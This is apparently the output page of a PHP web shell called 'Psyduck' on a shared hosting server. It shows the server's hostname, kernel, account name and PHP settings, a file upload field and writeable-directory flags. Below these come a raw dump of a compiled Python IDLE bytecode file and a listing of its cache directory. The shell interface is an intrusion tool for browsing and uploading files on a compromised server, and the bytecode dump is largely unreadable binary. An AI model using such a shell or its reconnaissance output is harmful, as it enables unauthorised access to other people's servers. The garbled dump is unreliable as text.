Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /opt/alt/python37/lib64/python3.7/idlelib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python37/lib64/python3.7/idlelib/__pycache__/codecontext.cpython-37.pyc
B

� f>,�@s�dZddlZddlmZddlZddlmZmZddl	m
Z
dddd	d
ddd
ddddhZe�d�fdd�Z
dd�ZGdd�d�Ze��edkr�ddlmZedddd�dS)a;codecontext - display the block context above the edit window

Once code has scrolled off the top of a window, it can be difficult to
determine which block you are in.  This extension implements a pane at the top
of each IDLE edit window which provides block structure hints.  These hints are
the lines which contain the block opening keywords, e.g. 'if', for the
enclosing block.  The number of hint lines is determined by the maxlines
variable in the codecontext section of config-extensions.def. Lines which do
not open blocks are not shown in the context hints pane.
�N)�maxsize)�NSEW�SUNKEN)�idleConf�class�def�if�elif�else�while�for�try�except�finally�with�asyncz^(\s*)(\w*)cCs|�|���S)z>Extract the beginning whitespace and first word from codeline.)�match�groups)�codeline�c�r�8/opt/alt/python37/lib64/python3.7/idlelib/codecontext.py�get_spaces_firstwordsrcCsFt|�\}}t|�}t|�|ks,||dkr0t}|tko:|}|||fS)z�Return tuple of (line indent value, codeline, block start keyword).

    The indentation of empty lines (or comment lines) is INFINITY.
    If the line does not start a block, the keyword value is False.
    �#)r�len�INFINITY�BLOCKOPENERS)rZspacesZ	firstword�indent�openerrrr�
get_line_infosrc@sveZdZdZdZdd�Zdd�Zedd��Zd	d
�Z	ddd
�Z
ddd�Zdd�Zddd�Z
dd�Zdd�Zdd�ZdS)�CodeContextz,Display block context above the edit window.�dcCs||_|j|_|��dS)a
Initialize settings for context block.

        editwin is the Editor window for the context block.
        self.text is the editor window text widget.

        self.context displays the code context text above the editor text.
          Initially None, it is toggled via <<toggle-code-context>>.
        self.topvisible is the number of the top text line displayed.
        self.info is a list of (line number, indent level, line text,
          block keyword) tuples for the block structure above topvisible.
          self.info[0] is initialized with a 'dummy' line which
          starts the toplevel 'block' of the module.

        self.t1 and self.t2 are two timer events on the editor text widget to
          monitor for changes to the context text or editor font.
        N)�editwin�text�_reset)�selfr"rrr�__init__.szCodeContext.__init__cCs$d|_d|_d|_d|_dg|_dS)N�)r����F)�context�cell00�t1�
topvisible�info)r%rrrr$Cs
zCodeContext._resetcCstjdddddd�|_dS)z!Load class variables from config.�
extensionsr Zmaxlines�int�)�type�defaultN)rZ	GetOption�
context_depth)�clsrrr�reloadJszCodeContext.reloadcCs>|jdk	r:y|j�|j�Wntjk
r2YnXd|_dS)zCancel scheduled events.N)r,r#�after_cancel�tkinter�TclError)r%rrr�__del__Qs
zCodeContext.__del__Nc

Cs~|jdk�r(|jj|jjf}d}d}xh|D]`}||jjkrB|��n|��}||j�|d�7}||j�|�d��7}||j�|�d��7}q*Wt	j
|jjddd||tdd�}|_|��|�
�|�d|j�|��|jddtd	�t�t��d
�}t	j|jj|dd�|_|jjddtd	�d
}	n:|j��d|_|j��d|_|j�|j�|��d}	|jjdd|	�d�d�dS)aToggle code context display.

        If self.context doesn't exist, create it to match the size of the editor
        window text (toggle on).  If it does exist, destroy it (toggle off).
        Return 'break' to complete the processing of the binding.
        Nr�padx�borderr'�disabled)�height�widthZhighlightthicknessr;r<Zrelief�statez<ButtonRelease-1>)�row�columnZsticky�
linenumber�
background)�bgZHideZShowZoptionsz* Code Contextz
 Code Context)Zmenu�indexZlabel�break)r*r"r#Z
text_frameZ	grid_infoZ	pack_infoZtkZgetintZcgetr8ZTextr�update_font�update_highlight_colorsZbind�
jumptoline�timer_eventZgridrr�GetHighlight�CurrentThemeZFramer+Zdestroyr7r,r$Zupdate_menu_label)
r%�eventZwidgetsr;r<Zwidgetr.r*�line_number_colorsZmenu_statusrrr�toggle_code_context_eventZsJ





z%CodeContext.toggle_code_context_eventr'rcCs�|dkst�g}t}x�t||dd�D]x}|j�|�d�|�d��}t|�\}}	}
||kr&|}|
dkrn|d7}|
r�||kr�||kr�|�|||	|
f�||kr&Pq&W|��||fS)azReturn a list of block line tuples and the 'last' indent.

        The tuple fields are (linenum, indent, text, opener).
        The list represents header lines from new_topvisible back to
        stopline with successively shorter indents > stopindent.
        The list is returned ordered by line number.
        Last indent returned is the smallest indent observed.
        rr'r(z.0z.end)r
r	)�AssertionErrorr�ranger#�getr�append�reverse)r%�new_topvisibleZstopline�
stopindent�lines�
lastindentZlinenumrrr#rrrr�get_context�s 	zCodeContext.get_contextcCsJ|j�d�}|j|krdS|j|krX|�||j�\}}x�|jdd|krT|jd=q8Wn`|jddd}x,|jdd|kr�|jdd}|jd=qlW|�||jddd|�\}}|j�|�||_dd�|j|jd�D�}|dr�dnd}t|�||jd<d	|jd
<|j�	dd�|j�
dd
�||d���d|jd
<dS)aLUpdate context information and lines visible in the context pane.

        No update is done if the text hasn't been scrolled.  If the text
        was scrolled, the lines that should be shown in the context will
        be retrieved and the context area will be updated with the code,
        up to the number of maxlines.
        z@0,0Nr(r'rcSsg|]}|d�qS)�r)�.0�xrrr�
<listcomp>�sz3CodeContext.update_code_context.<locals>.<listcomp>r>Znormalr@z1.0�end�
r=)r"Z	getlinenor-rZr.�extendr4rr*�delete�insert�join)r%rVrXrYrWZcontext_stringsZ	showfirstrrr�update_code_context�s0



zCodeContext.update_code_contextcCs�y|j�d�Wn�tjk
r�t|j�}|dkr:d}n:tt|j�d���}td||j	�d}|j||d}|j
�|�d��|��YnXdS)z� Show clicked context line at top of editor.

        If a selection was made, don't jump; allow copying.
        If no visible context, show the top line of the file.
        z	sel.firstr'rcrz.0N)
r*rFr8r9rr.r0�float�maxr4r#Zyviewre)r%rNrXZnewtopZcontextline�offsetrrrrJ�s
zCodeContext.jumptolinecCs*|jdk	r&|��|j�|j|j�|_dS)z>Event on editor text widget triggered every UPDATEINTERVAL ms.N)r*rer#Zafter�UPDATEINTERVALrKr,)r%rrrrK�s
zCodeContext.timer_eventcCs(|jdk	r$t�|jdd�}||jd<dS)N�mainZEditorWindow�font)r*rZGetFontr#)r%rkrrrrH�s
zCodeContext.update_fontcCsf|jdk	r6t�t��d�}|d|jd<|d|jd<|jdk	rbt�t��d�}|jj|dd�dS)Nr*rDZ
foregroundrC)rE)r*rrLrMr+Zconfig)r%ZcolorsrOrrrrI�s


z#CodeContext.update_highlight_colors)N)r'r)N)�__name__�
__module__�__qualname__�__doc__rir&r$�classmethodr6r:rPrZrerJrKrHrIrrrrr *s	
8
(
r �__main__)rjz"idlelib.idle_test.test_codecontextr[F)�	verbosity�exit)ro�re�sysrrr8Ztkinter.constantsrrZidlelib.configrr�compilerrr r6rlZunittestrjrrrr�<module>
s[
Name
Size
Permissions
Options
__init__.cpython-37.opt-1.pyc
0.501 KB
-rw-r--r--
__init__.cpython-37.opt-2.pyc
0.147 KB
-rw-r--r--
__init__.cpython-37.pyc
0.501 KB
-rw-r--r--
__main__.cpython-37.opt-1.pyc
0.268 KB
-rw-r--r--
__main__.cpython-37.opt-2.pyc
0.198 KB
-rw-r--r--
__main__.cpython-37.pyc
0.268 KB
-rw-r--r--
autocomplete.cpython-37.opt-1.pyc
6.637 KB
-rw-r--r--
autocomplete.cpython-37.opt-2.pyc
5.271 KB
-rw-r--r--
autocomplete.cpython-37.pyc
6.637 KB
-rw-r--r--
autocomplete_w.cpython-37.opt-1.pyc
10.773 KB
-rw-r--r--
autocomplete_w.cpython-37.opt-2.pyc
10.033 KB
-rw-r--r--
autocomplete_w.cpython-37.pyc
10.83 KB
-rw-r--r--
autoexpand.cpython-37.opt-1.pyc
2.76 KB
-rw-r--r--
autoexpand.cpython-37.opt-2.pyc
2.027 KB
-rw-r--r--
autoexpand.cpython-37.pyc
2.76 KB
-rw-r--r--
browser.cpython-37.opt-1.pyc
9.268 KB
-rw-r--r--
browser.cpython-37.opt-2.pyc
6.663 KB
-rw-r--r--
browser.cpython-37.pyc
9.268 KB
-rw-r--r--
calltip.cpython-37.opt-1.pyc
5.441 KB
-rw-r--r--
calltip.cpython-37.opt-2.pyc
3.858 KB
-rw-r--r--
calltip.cpython-37.pyc
5.441 KB
-rw-r--r--
calltip_w.cpython-37.opt-1.pyc
6.023 KB
-rw-r--r--
calltip_w.cpython-37.opt-2.pyc
5.112 KB
-rw-r--r--
calltip_w.cpython-37.pyc
6.023 KB
-rw-r--r--
codecontext.cpython-37.opt-1.pyc
8.491 KB
-rw-r--r--
codecontext.cpython-37.opt-2.pyc
5.566 KB
-rw-r--r--
codecontext.cpython-37.pyc
8.525 KB
-rw-r--r--
colorizer.cpython-37.opt-1.pyc
10.025 KB
-rw-r--r--
colorizer.cpython-37.opt-2.pyc
7.98 KB
-rw-r--r--
colorizer.cpython-37.pyc
10.025 KB
-rw-r--r--
config.cpython-37.opt-1.pyc
29.172 KB
-rw-r--r--
config.cpython-37.opt-2.pyc
19.484 KB
-rw-r--r--
config.cpython-37.pyc
29.172 KB
-rw-r--r--
config_key.cpython-37.opt-1.pyc
11.073 KB
-rw-r--r--
config_key.cpython-37.opt-2.pyc
9.687 KB
-rw-r--r--
config_key.cpython-37.pyc
11.073 KB
-rw-r--r--
configdialog.cpython-37.opt-1.pyc
76.771 KB
-rw-r--r--
configdialog.cpython-37.opt-2.pyc
47.32 KB
-rw-r--r--
configdialog.cpython-37.pyc
76.771 KB
-rw-r--r--
debugger.cpython-37.opt-1.pyc
13.886 KB
-rw-r--r--
debugger.cpython-37.opt-2.pyc
13.738 KB
-rw-r--r--
debugger.cpython-37.pyc
13.886 KB
-rw-r--r--
debugger_r.cpython-37.opt-1.pyc
13.448 KB
-rw-r--r--
debugger_r.cpython-37.opt-2.pyc
11.113 KB
-rw-r--r--
debugger_r.cpython-37.pyc
13.571 KB
-rw-r--r--
debugobj.cpython-37.opt-1.pyc
5.056 KB
-rw-r--r--
debugobj.cpython-37.opt-2.pyc
5.056 KB
-rw-r--r--
debugobj.cpython-37.pyc
5.056 KB
-rw-r--r--
debugobj_r.cpython-37.opt-1.pyc
1.971 KB
-rw-r--r--
debugobj_r.cpython-37.opt-2.pyc
1.971 KB
-rw-r--r--
debugobj_r.cpython-37.pyc
1.971 KB
-rw-r--r--
delegator.cpython-37.opt-1.pyc
1.25 KB
-rw-r--r--
delegator.cpython-37.opt-2.pyc
1.152 KB
-rw-r--r--
delegator.cpython-37.pyc
1.25 KB
-rw-r--r--
dynoption.cpython-37.opt-1.pyc
2.237 KB
-rw-r--r--
dynoption.cpython-37.opt-2.pyc
1.866 KB
-rw-r--r--
dynoption.cpython-37.pyc
2.237 KB
-rw-r--r--
editor.cpython-37.opt-1.pyc
45.513 KB
-rw-r--r--
editor.cpython-37.opt-2.pyc
43.657 KB
-rw-r--r--
editor.cpython-37.pyc
45.598 KB
-rw-r--r--
filelist.cpython-37.opt-1.pyc
3.297 KB
-rw-r--r--
filelist.cpython-37.opt-2.pyc
3.265 KB
-rw-r--r--
filelist.cpython-37.pyc
3.322 KB
-rw-r--r--
format.cpython-37.opt-1.pyc
13.125 KB
-rw-r--r--
format.cpython-37.opt-2.pyc
9.489 KB
-rw-r--r--
format.cpython-37.pyc
13.125 KB
-rw-r--r--
grep.cpython-37.opt-1.pyc
7.608 KB
-rw-r--r--
grep.cpython-37.opt-2.pyc
4.977 KB
-rw-r--r--
grep.cpython-37.pyc
7.608 KB
-rw-r--r--
help.cpython-37.opt-1.pyc
10.133 KB
-rw-r--r--
help.cpython-37.opt-2.pyc
7.429 KB
-rw-r--r--
help.cpython-37.pyc
10.174 KB
-rw-r--r--
help_about.cpython-37.opt-1.pyc
7.165 KB
-rw-r--r--
help_about.cpython-37.opt-2.pyc
6.069 KB
-rw-r--r--
help_about.cpython-37.pyc
7.165 KB
-rw-r--r--
history.cpython-37.opt-1.pyc
3.314 KB
-rw-r--r--
history.cpython-37.opt-2.pyc
2.118 KB
-rw-r--r--
history.cpython-37.pyc
3.314 KB
-rw-r--r--
hyperparser.cpython-37.opt-1.pyc
6.591 KB
-rw-r--r--
hyperparser.cpython-37.opt-2.pyc
5.314 KB
-rw-r--r--
hyperparser.cpython-37.pyc
6.591 KB
-rw-r--r--
idle.cpython-37.opt-1.pyc
0.331 KB
-rw-r--r--
idle.cpython-37.opt-2.pyc
0.331 KB
-rw-r--r--
idle.cpython-37.pyc
0.331 KB
-rw-r--r--
iomenu.cpython-37.opt-1.pyc
13.457 KB
-rw-r--r--
iomenu.cpython-37.opt-2.pyc
13 KB
-rw-r--r--
iomenu.cpython-37.pyc
13.457 KB
-rw-r--r--
macosx.cpython-37.opt-1.pyc
7.416 KB
-rw-r--r--
macosx.cpython-37.opt-2.pyc
5.285 KB
-rw-r--r--
macosx.cpython-37.pyc
7.416 KB
-rw-r--r--
mainmenu.cpython-37.opt-1.pyc
3.38 KB
-rw-r--r--
mainmenu.cpython-37.opt-2.pyc
2.92 KB
-rw-r--r--
mainmenu.cpython-37.pyc
3.38 KB
-rw-r--r--
multicall.cpython-37.opt-1.pyc
14.587 KB
-rw-r--r--
multicall.cpython-37.opt-2.pyc
12.277 KB
-rw-r--r--
multicall.cpython-37.pyc
14.643 KB
-rw-r--r--
outwin.cpython-37.opt-1.pyc
5.92 KB
-rw-r--r--
outwin.cpython-37.opt-2.pyc
4.275 KB
-rw-r--r--
outwin.cpython-37.pyc
5.92 KB
-rw-r--r--
parenmatch.cpython-37.opt-1.pyc
6.186 KB
-rw-r--r--
parenmatch.cpython-37.opt-2.pyc
4.676 KB
-rw-r--r--
parenmatch.cpython-37.pyc
6.186 KB
-rw-r--r--
pathbrowser.cpython-37.opt-1.pyc
3.655 KB
-rw-r--r--
pathbrowser.cpython-37.opt-2.pyc
3.518 KB
-rw-r--r--
pathbrowser.cpython-37.pyc
3.655 KB
-rw-r--r--
percolator.cpython-37.opt-1.pyc
3.434 KB
-rw-r--r--
percolator.cpython-37.opt-2.pyc
3.434 KB
-rw-r--r--
percolator.cpython-37.pyc
3.568 KB
-rw-r--r--
pyparse.cpython-37.opt-1.pyc
11.366 KB
-rw-r--r--
pyparse.cpython-37.opt-2.pyc
7.871 KB
-rw-r--r--
pyparse.cpython-37.pyc
11.707 KB
-rw-r--r--
pyshell.cpython-37.opt-1.pyc
41.261 KB
-rw-r--r--
pyshell.cpython-37.opt-2.pyc
38.597 KB
-rw-r--r--
pyshell.cpython-37.pyc
41.388 KB
-rw-r--r--
query.cpython-37.opt-1.pyc
12.515 KB
-rw-r--r--
query.cpython-37.opt-2.pyc
9.856 KB
-rw-r--r--
query.cpython-37.pyc
12.515 KB
-rw-r--r--
redirector.cpython-37.opt-1.pyc
6.604 KB
-rw-r--r--
redirector.cpython-37.opt-2.pyc
3.253 KB
-rw-r--r--
redirector.cpython-37.pyc
6.604 KB
-rw-r--r--
replace.cpython-37.opt-1.pyc
9.139 KB
-rw-r--r--
replace.cpython-37.opt-2.pyc
6.363 KB
-rw-r--r--
replace.cpython-37.pyc
9.139 KB
-rw-r--r--
rpc.cpython-37.opt-1.pyc
19.145 KB
-rw-r--r--
rpc.cpython-37.opt-2.pyc
15.682 KB
-rw-r--r--
rpc.cpython-37.pyc
19.229 KB
-rw-r--r--
run.cpython-37.opt-1.pyc
17.263 KB
-rw-r--r--
run.cpython-37.opt-2.pyc
14.846 KB
-rw-r--r--
run.cpython-37.pyc
17.31 KB
-rw-r--r--
runscript.cpython-37.opt-1.pyc
6.904 KB
-rw-r--r--
runscript.cpython-37.opt-2.pyc
5.699 KB
-rw-r--r--
runscript.cpython-37.pyc
6.904 KB
-rw-r--r--
scrolledlist.cpython-37.opt-1.pyc
5.276 KB
-rw-r--r--
scrolledlist.cpython-37.opt-2.pyc
5.276 KB
-rw-r--r--
scrolledlist.cpython-37.pyc
5.276 KB
-rw-r--r--
search.cpython-37.opt-1.pyc
5.792 KB
-rw-r--r--
search.cpython-37.opt-2.pyc
3.358 KB
-rw-r--r--
search.cpython-37.pyc
5.792 KB
-rw-r--r--
searchbase.cpython-37.opt-1.pyc
7.849 KB
-rw-r--r--
searchbase.cpython-37.opt-2.pyc
5.153 KB
-rw-r--r--
searchbase.cpython-37.pyc
7.849 KB
-rw-r--r--
searchengine.cpython-37.opt-1.pyc
6.681 KB
-rw-r--r--
searchengine.cpython-37.opt-2.pyc
5.069 KB
-rw-r--r--
searchengine.cpython-37.pyc
6.681 KB
-rw-r--r--
sidebar.cpython-37.opt-1.pyc
10.729 KB
-rw-r--r--
sidebar.cpython-37.opt-2.pyc
9.315 KB
-rw-r--r--
sidebar.cpython-37.pyc
10.729 KB
-rw-r--r--
squeezer.cpython-37.opt-1.pyc
9.297 KB
-rw-r--r--
squeezer.cpython-37.opt-2.pyc
6.185 KB
-rw-r--r--
squeezer.cpython-37.pyc
9.333 KB
-rw-r--r--
stackviewer.cpython-37.opt-1.pyc
4.936 KB
-rw-r--r--
stackviewer.cpython-37.opt-2.pyc
4.936 KB
-rw-r--r--
stackviewer.cpython-37.pyc
4.936 KB
-rw-r--r--
statusbar.cpython-37.opt-1.pyc
1.903 KB
-rw-r--r--
statusbar.cpython-37.opt-2.pyc
1.903 KB
-rw-r--r--
statusbar.cpython-37.pyc
1.903 KB
-rw-r--r--
textview.cpython-37.opt-1.pyc
6.899 KB
-rw-r--r--
textview.cpython-37.opt-2.pyc
4.794 KB
-rw-r--r--
textview.cpython-37.pyc
6.899 KB
-rw-r--r--
tooltip.cpython-37.opt-1.pyc
6.416 KB
-rw-r--r--
tooltip.cpython-37.opt-2.pyc
4.832 KB
-rw-r--r--
tooltip.cpython-37.pyc
6.416 KB
-rw-r--r--
tree.cpython-37.opt-1.pyc
15.328 KB
-rw-r--r--
tree.cpython-37.opt-2.pyc
14.016 KB
-rw-r--r--
tree.cpython-37.pyc
15.328 KB
-rw-r--r--
undo.cpython-37.opt-1.pyc
10.517 KB
-rw-r--r--
undo.cpython-37.opt-2.pyc
10.517 KB
-rw-r--r--
undo.cpython-37.pyc
10.517 KB
-rw-r--r--
window.cpython-37.opt-1.pyc
3.12 KB
-rw-r--r--
window.cpython-37.opt-2.pyc
3.12 KB
-rw-r--r--
window.cpython-37.pyc
3.12 KB
-rw-r--r--
zoomheight.cpython-37.opt-1.pyc
2.732 KB
-rw-r--r--
zoomheight.cpython-37.opt-2.pyc
2.685 KB
-rw-r--r--
zoomheight.cpython-37.pyc
2.732 KB
-rw-r--r--
zzdummy.cpython-37.opt-1.pyc
1.182 KB
-rw-r--r--
zzdummy.cpython-37.opt-2.pyc
1.115 KB
-rw-r--r--
zzdummy.cpython-37.pyc
1.182 KB
-rw-r--r--